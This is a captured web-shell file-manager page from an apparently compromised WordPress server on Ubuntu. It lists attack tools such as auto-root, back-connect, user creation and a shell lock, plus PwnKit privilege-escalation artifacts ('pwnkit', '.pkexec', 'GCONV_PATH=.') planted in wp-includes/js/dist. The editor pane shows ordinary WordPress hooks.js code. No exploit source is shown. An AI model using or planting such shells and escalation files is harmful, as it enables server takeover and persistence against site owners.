Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 52.14.26.141
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ru-website /
wp-includes /
js /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
a11y.js
10.34
KB
-rwxrwxrwx
a11y.min.js
2.94
KB
-rwxrwxrwx
annotations.js
34.16
KB
-rwxrwxrwx
annotations.min.js
7.93
KB
-rwxrwxrwx
api-fetch.js
23.4
KB
-rwxrwxrwx
api-fetch.min.js
5.62
KB
-rwxrwxrwx
autop.js
17.99
KB
-rwxrwxrwx
autop.min.js
6.1
KB
-rwxrwxrwx
blob.js
6.02
KB
-rwxrwxrwx
blob.min.js
1.54
KB
-rwxrwxrwx
block-directory.js
60.92
KB
-rwxrwxrwx
block-directory.min.js
21.07
KB
-rwxrwxrwx
block-editor.js
1.24
MB
-rwxrwxrwx
block-editor.min.js
413.39
KB
-rwxrwxrwx
block-library.js
1.04
MB
-rwxrwxrwx
block-library.min.js
471.69
KB
-rwxrwxrwx
block-serialization-default-pa...
14.7
KB
-rwxrwxrwx
block-serialization-default-pa...
2.94
KB
-rwxrwxrwx
blocks.js
482.72
KB
-rwxrwxrwx
blocks.min.js
154.34
KB
-rwxrwxrwx
components.js
1.8
MB
-rwxrwxrwx
components.min.js
630.23
KB
-rwxrwxrwx
compose.js
131.06
KB
-rwxrwxrwx
compose.min.js
31.67
KB
-rwxrwxrwx
core-data.js
161.01
KB
-rwxrwxrwx
core-data.min.js
40.67
KB
-rwxrwxrwx
customize-widgets.js
98.34
KB
-rwxrwxrwx
customize-widgets.min.js
36.28
KB
-rwxrwxrwx
data-controls.js
9.3
KB
-rwxrwxrwx
data-controls.min.js
2.19
KB
-rwxrwxrwx
data.js
124.08
KB
-rwxrwxrwx
data.min.js
22.03
KB
-rwxrwxrwx
date.js
231.67
KB
-rwxrwxrwx
date.min.js
198.64
KB
-rwxrwxrwx
deprecated.js
7.58
KB
-rwxrwxrwx
deprecated.min.js
1.53
KB
-rwxrwxrwx
dom-ready.js
5.02
KB
-rwxrwxrwx
dom-ready.min.js
1.23
KB
-rwxrwxrwx
dom.js
61.81
KB
-rwxrwxrwx
dom.min.js
13.29
KB
-rwxrwxrwx
edit-post.js
664.51
KB
-rwxrwxrwx
edit-post.min.js
200.47
KB
-rwxrwxrwx
edit-widgets.js
164.19
KB
-rwxrwxrwx
edit-widgets.min.js
58.32
KB
-rwxrwxrwx
editor.js
383.84
KB
-rwxrwxrwx
editor.min.js
139.08
KB
-rwxrwxrwx
element.js
42.34
KB
-rwxrwxrwx
element.min.js
9.02
KB
-rwxrwxrwx
escape-html.js
8.59
KB
-rwxrwxrwx
escape-html.min.js
1.74
KB
-rwxrwxrwx
format-library.js
49.85
KB
-rwxrwxrwx
format-library.min.js
18
KB
-rwxrwxrwx
hooks.js
22.63
KB
-rwxrwxrwx
hooks.min.js
5.31
KB
-rwxrwxrwx
html-entities.js
5.7
KB
-rwxrwxrwx
html-entities.min.js
1.38
KB
-rwxrwxrwx
i18n.js
49.58
KB
-rwxrwxrwx
i18n.min.js
9.63
KB
-rwxrwxrwx
is-shallow-equal.js
6.53
KB
-rwxrwxrwx
is-shallow-equal.min.js
1.66
KB
-rwxrwxrwx
keyboard-shortcuts.js
22.87
KB
-rwxrwxrwx
keyboard-shortcuts.min.js
4.51
KB
-rwxrwxrwx
keycodes.js
15.01
KB
-rwxrwxrwx
keycodes.min.js
3.33
KB
-rwxrwxrwx
list-reusable-blocks.js
13.83
KB
-rwxrwxrwx
list-reusable-blocks.min.js
5.14
KB
-rwxrwxrwx
media-utils.js
23.65
KB
-rwxrwxrwx
media-utils.min.js
7.86
KB
-rwxrwxrwx
notices.js
16.32
KB
-rwxrwxrwx
notices.min.js
2.57
KB
-rwxrwxrwx
nux.js
23.94
KB
-rwxrwxrwx
nux.min.js
5.73
KB
-rwxrwxrwx
plugins.js
20.63
KB
-rwxrwxrwx
plugins.min.js
5.21
KB
-rwxrwxrwx
primitives.js
10.2
KB
-rwxrwxrwx
primitives.min.js
2.83
KB
-rwxrwxrwx
priority-queue.js
8.73
KB
-rwxrwxrwx
priority-queue.min.js
1.6
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
redux-routine.js
24.62
KB
-rwxrwxrwx
redux-routine.min.js
9.38
KB
-rwxrwxrwx
reusable-blocks.js
21.65
KB
-rwxrwxrwx
reusable-blocks.min.js
6.91
KB
-rwxrwxrwx
rich-text.js
134.28
KB
-rwxrwxrwx
rich-text.min.js
33.3
KB
-rwxrwxrwx
server-side-render.js
13.45
KB
-rwxrwxrwx
server-side-render.min.js
4.03
KB
-rwxrwxrwx
shortcode.js
18.93
KB
-rwxrwxrwx
shortcode.min.js
3.9
KB
-rwxrwxrwx
token-list.js
9.56
KB
-rwxrwxrwx
token-list.min.js
2.07
KB
-rwxrwxrwx
url.js
26.41
KB
-rwxrwxrwx
url.min.js
4.88
KB
-rwxrwxrwx
viewport.js
13.47
KB
-rwxrwxrwx
viewport.min.js
2.96
KB
-rwxrwxrwx
warning.js
10.14
KB
-rwxrwxrwx
warning.min.js
2.77
KB
-rwxrwxrwx
widgets.js
46.43
KB
-rwxrwxrwx
widgets.min.js
18.62
KB
-rwxrwxrwx
wordcount.js
17.32
KB
-rwxrwxrwx
wordcount.min.js
3.18
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hooks.js
this["wp"] = this["wp"] || {}; this["wp"]["hooks"] = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); /******/ } /******/ }; /******/ /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 8|1: behave like require /******/ __webpack_require__.t = function(value, mode) { /******/ if(mode & 1) value = __webpack_require__(value); /******/ if(mode & 8) return value; /******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; /******/ var ns = Object.create(null); /******/ __webpack_require__.r(ns); /******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); /******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); /******/ return ns; /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = "gEOj"); /******/ }) /************************************************************************/ /******/ ({ /***/ "gEOj": /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, "defaultHooks", function() { return /* binding */ defaultHooks; }); __webpack_require__.d(__webpack_exports__, "createHooks", function() { return /* reexport */ build_module_createHooks; }); __webpack_require__.d(__webpack_exports__, "addAction", function() { return /* binding */ addAction; }); __webpack_require__.d(__webpack_exports__, "addFilter", function() { return /* binding */ addFilter; }); __webpack_require__.d(__webpack_exports__, "removeAction", function() { return /* binding */ removeAction; }); __webpack_require__.d(__webpack_exports__, "removeFilter", function() { return /* binding */ removeFilter; }); __webpack_require__.d(__webpack_exports__, "hasAction", function() { return /* binding */ hasAction; }); __webpack_require__.d(__webpack_exports__, "hasFilter", function() { return /* binding */ hasFilter; }); __webpack_require__.d(__webpack_exports__, "removeAllActions", function() { return /* binding */ removeAllActions; }); __webpack_require__.d(__webpack_exports__, "removeAllFilters", function() { return /* binding */ removeAllFilters; }); __webpack_require__.d(__webpack_exports__, "doAction", function() { return /* binding */ doAction; }); __webpack_require__.d(__webpack_exports__, "applyFilters", function() { return /* binding */ applyFilters; }); __webpack_require__.d(__webpack_exports__, "currentAction", function() { return /* binding */ currentAction; }); __webpack_require__.d(__webpack_exports__, "currentFilter", function() { return /* binding */ currentFilter; }); __webpack_require__.d(__webpack_exports__, "doingAction", function() { return /* binding */ doingAction; }); __webpack_require__.d(__webpack_exports__, "doingFilter", function() { return /* binding */ doingFilter; }); __webpack_require__.d(__webpack_exports__, "didAction", function() { return /* binding */ didAction; }); __webpack_require__.d(__webpack_exports__, "didFilter", function() { return /* binding */ didFilter; }); __webpack_require__.d(__webpack_exports__, "actions", function() { return /* binding */ actions; }); __webpack_require__.d(__webpack_exports__, "filters", function() { return /* binding */ filters; }); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/validateNamespace.js /** * Validate a namespace string. * * @param {string} namespace The namespace to validate - should take the form * `vendor/plugin/function`. * * @return {boolean} Whether the namespace is valid. */ function validateNamespace(namespace) { if ('string' !== typeof namespace || '' === namespace) { // eslint-disable-next-line no-console console.error('The namespace must be a non-empty string.'); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(namespace)) { // eslint-disable-next-line no-console console.error('The namespace can only contain numbers, letters, dashes, periods, underscores and slashes.'); return false; } return true; } /* harmony default export */ var build_module_validateNamespace = (validateNamespace); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/validateHookName.js /** * Validate a hookName string. * * @param {string} hookName The hook name to validate. Should be a non empty string containing * only numbers, letters, dashes, periods and underscores. Also, * the hook name cannot begin with `__`. * * @return {boolean} Whether the hook name is valid. */ function validateHookName(hookName) { if ('string' !== typeof hookName || '' === hookName) { // eslint-disable-next-line no-console console.error('The hook name must be a non-empty string.'); return false; } if (/^__/.test(hookName)) { // eslint-disable-next-line no-console console.error('The hook name cannot begin with `__`.'); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(hookName)) { // eslint-disable-next-line no-console console.error('The hook name can only contain numbers, letters, dashes, periods and underscores.'); return false; } return true; } /* harmony default export */ var build_module_validateHookName = (validateHookName); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createAddHook.js /** * Internal dependencies */ /** * @callback AddHook * * Adds the hook to the appropriate hooks container. * * @param {string} hookName Name of hook to add * @param {string} namespace The unique namespace identifying the callback in the form `vendor/plugin/function`. * @param {import('.').Callback} callback Function to call when the hook is run * @param {number} [priority=10] Priority of this hook */ /** * Returns a function which, when invoked, will add a hook. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {AddHook} Function that adds a new hook. */ function createAddHook(hooks, storeKey) { return function addHook(hookName, namespace, callback, priority = 10) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } if (!build_module_validateNamespace(namespace)) { return; } if ('function' !== typeof callback) { // eslint-disable-next-line no-console console.error('The hook callback must be a function.'); return; } // Validate numeric priority if ('number' !== typeof priority) { // eslint-disable-next-line no-console console.error('If specified, the hook priority must be a number.'); return; } const handler = { callback, priority, namespace }; if (hooksStore[hookName]) { // Find the correct insert index of the new hook. const handlers = hooksStore[hookName].handlers; /** @type {number} */ let i; for (i = handlers.length; i > 0; i--) { if (priority >= handlers[i - 1].priority) { break; } } if (i === handlers.length) { // If append, operate via direct assignment. handlers[i] = handler; } else { // Otherwise, insert before index via splice. handlers.splice(i, 0, handler); } // We may also be currently executing this hook. If the callback // we're adding would come after the current callback, there's no // problem; otherwise we need to increase the execution index of // any other runs by 1 to account for the added element. hooksStore.__current.forEach(hookInfo => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex++; } }); } else { // This is the first hook of its type. hooksStore[hookName] = { handlers: [handler], runs: 0 }; } if (hookName !== 'hookAdded') { hooks.doAction('hookAdded', hookName, namespace, callback, priority); } }; } /* harmony default export */ var build_module_createAddHook = (createAddHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createRemoveHook.js /** * Internal dependencies */ /** * @callback RemoveHook * Removes the specified callback (or all callbacks) from the hook with a given hookName * and namespace. * * @param {string} hookName The name of the hook to modify. * @param {string} namespace The unique namespace identifying the callback in the * form `vendor/plugin/function`. * * @return {number | undefined} The number of callbacks removed. */ /** * Returns a function which, when invoked, will remove a specified hook or all * hooks by the given name. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * @param {boolean} [removeAll=false] Whether to remove all callbacks for a hookName, * without regard to namespace. Used to create * `removeAll*` functions. * * @return {RemoveHook} Function that removes hooks. */ function createRemoveHook(hooks, storeKey, removeAll = false) { return function removeHook(hookName, namespace) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } if (!removeAll && !build_module_validateNamespace(namespace)) { return; } // Bail if no hooks exist by this name if (!hooksStore[hookName]) { return 0; } let handlersRemoved = 0; if (removeAll) { handlersRemoved = hooksStore[hookName].handlers.length; hooksStore[hookName] = { runs: hooksStore[hookName].runs, handlers: [] }; } else { // Try to find the specified callback to remove. const handlers = hooksStore[hookName].handlers; for (let i = handlers.length - 1; i >= 0; i--) { if (handlers[i].namespace === namespace) { handlers.splice(i, 1); handlersRemoved++; // This callback may also be part of a hook that is // currently executing. If the callback we're removing // comes after the current callback, there's no problem; // otherwise we need to decrease the execution index of any // other runs by 1 to account for the removed element. hooksStore.__current.forEach(hookInfo => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex--; } }); } } } if (hookName !== 'hookRemoved') { hooks.doAction('hookRemoved', hookName, namespace); } return handlersRemoved; }; } /* harmony default export */ var build_module_createRemoveHook = (createRemoveHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createHasHook.js /** * @callback HasHook * * Returns whether any handlers are attached for the given hookName and optional namespace. * * @param {string} hookName The name of the hook to check for. * @param {string} [namespace] Optional. The unique namespace identifying the callback * in the form `vendor/plugin/function`. * * @return {boolean} Whether there are handlers that are attached to the given hook. */ /** * Returns a function which, when invoked, will return whether any handlers are * attached to a particular hook. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {HasHook} Function that returns whether any handlers are * attached to a particular hook and optional namespace. */ function createHasHook(hooks, storeKey) { return function hasHook(hookName, namespace) { const hooksStore = hooks[storeKey]; // Use the namespace if provided. if ('undefined' !== typeof namespace) { return hookName in hooksStore && hooksStore[hookName].handlers.some(hook => hook.namespace === namespace); } return hookName in hooksStore; }; } /* harmony default export */ var build_module_createHasHook = (createHasHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createRunHook.js /** * Returns a function which, when invoked, will execute all callbacks * registered to a hook of the specified type, optionally returning the final * value of the call chain. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * @param {boolean} [returnFirstArg=false] Whether each hook callback is expected to * return its first argument. * * @return {(hookName:string, ...args: unknown[]) => unknown} Function that runs hook callbacks. */ function createRunHook(hooks, storeKey, returnFirstArg = false) { return function runHooks(hookName, ...args) { const hooksStore = hooks[storeKey]; if (!hooksStore[hookName]) { hooksStore[hookName] = { handlers: [], runs: 0 }; } hooksStore[hookName].runs++; const handlers = hooksStore[hookName].handlers; // The following code is stripped from production builds. if (false) {} if (!handlers || !handlers.length) { return returnFirstArg ? args[0] : undefined; } const hookInfo = { name: hookName, currentIndex: 0 }; hooksStore.__current.push(hookInfo); while (hookInfo.currentIndex < handlers.length) { const handler = handlers[hookInfo.currentIndex]; const result = handler.callback.apply(null, args); if (returnFirstArg) { args[0] = result; } hookInfo.currentIndex++; } hooksStore.__current.pop(); if (returnFirstArg) { return args[0]; } }; } /* harmony default export */ var build_module_createRunHook = (createRunHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createCurrentHook.js /** * Returns a function which, when invoked, will return the name of the * currently running hook, or `null` if no hook of the given type is currently * running. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {() => string | null} Function that returns the current hook name or null. */ function createCurrentHook(hooks, storeKey) { return function currentHook() { var _hooksStore$__current, _hooksStore$__current2; const hooksStore = hooks[storeKey]; return (_hooksStore$__current = (_hooksStore$__current2 = hooksStore.__current[hooksStore.__current.length - 1]) === null || _hooksStore$__current2 === void 0 ? void 0 : _hooksStore$__current2.name) !== null && _hooksStore$__current !== void 0 ? _hooksStore$__current : null; }; } /* harmony default export */ var build_module_createCurrentHook = (createCurrentHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createDoingHook.js /** * @callback DoingHook * Returns whether a hook is currently being executed. * * @param {string} [hookName] The name of the hook to check for. If * omitted, will check for any hook being executed. * * @return {boolean} Whether the hook is being executed. */ /** * Returns a function which, when invoked, will return whether a hook is * currently being executed. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {DoingHook} Function that returns whether a hook is currently * being executed. */ function createDoingHook(hooks, storeKey) { return function doingHook(hookName) { const hooksStore = hooks[storeKey]; // If the hookName was not passed, check for any current hook. if ('undefined' === typeof hookName) { return 'undefined' !== typeof hooksStore.__current[0]; } // Return the __current hook. return hooksStore.__current[0] ? hookName === hooksStore.__current[0].name : false; }; } /* harmony default export */ var build_module_createDoingHook = (createDoingHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createDidHook.js /** * Internal dependencies */ /** * @callback DidHook * * Returns the number of times an action has been fired. * * @param {string} hookName The hook name to check. * * @return {number | undefined} The number of times the hook has run. */ /** * Returns a function which, when invoked, will return the number of times a * hook has been called. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {DidHook} Function that returns a hook's call count. */ function createDidHook(hooks, storeKey) { return function didHook(hookName) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } return hooksStore[hookName] && hooksStore[hookName].runs ? hooksStore[hookName].runs : 0; }; } /* harmony default export */ var build_module_createDidHook = (createDidHook); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/createHooks.js /** * Internal dependencies */ /** * Internal class for constructing hooks. Use `createHooks()` function * * Note, it is necessary to expose this class to make its type public. * * @private */ class createHooks_Hooks { constructor() { /** @type {import('.').Store} actions */ this.actions = Object.create(null); this.actions.__current = []; /** @type {import('.').Store} filters */ this.filters = Object.create(null); this.filters.__current = []; this.addAction = build_module_createAddHook(this, 'actions'); this.addFilter = build_module_createAddHook(this, 'filters'); this.removeAction = build_module_createRemoveHook(this, 'actions'); this.removeFilter = build_module_createRemoveHook(this, 'filters'); this.hasAction = build_module_createHasHook(this, 'actions'); this.hasFilter = build_module_createHasHook(this, 'filters'); this.removeAllActions = build_module_createRemoveHook(this, 'actions', true); this.removeAllFilters = build_module_createRemoveHook(this, 'filters', true); this.doAction = build_module_createRunHook(this, 'actions'); this.applyFilters = build_module_createRunHook(this, 'filters', true); this.currentAction = build_module_createCurrentHook(this, 'actions'); this.currentFilter = build_module_createCurrentHook(this, 'filters'); this.doingAction = build_module_createDoingHook(this, 'actions'); this.doingFilter = build_module_createDoingHook(this, 'filters'); this.didAction = build_module_createDidHook(this, 'actions'); this.didFilter = build_module_createDidHook(this, 'filters'); } } /** @typedef {_Hooks} Hooks */ /** * Returns an instance of the hooks object. * * @return {Hooks} A Hooks instance. */ function createHooks() { return new createHooks_Hooks(); } /* harmony default export */ var build_module_createHooks = (createHooks); // CONCATENATED MODULE: ./node_modules/@wordpress/hooks/build-module/index.js /** * Internal dependencies */ /** @typedef {(...args: any[])=>any} Callback */ /** * @typedef Handler * @property {Callback} callback The callback * @property {string} namespace The namespace * @property {number} priority The namespace */ /** * @typedef Hook * @property {Handler[]} handlers Array of handlers * @property {number} runs Run counter */ /** * @typedef Current * @property {string} name Hook name * @property {number} currentIndex The index */ /** * @typedef {Record<string, Hook> & {__current: Current[]}} Store */ /** * @typedef {'actions' | 'filters'} StoreKey */ /** * @typedef {import('./createHooks').Hooks} Hooks */ const defaultHooks = build_module_createHooks(); const { addAction, addFilter, removeAction, removeFilter, hasAction, hasFilter, removeAllActions, removeAllFilters, doAction, applyFilters, currentAction, currentFilter, doingAction, doingFilter, didAction, didFilter, actions, filters } = defaultHooks; /***/ }) /******/ });
Close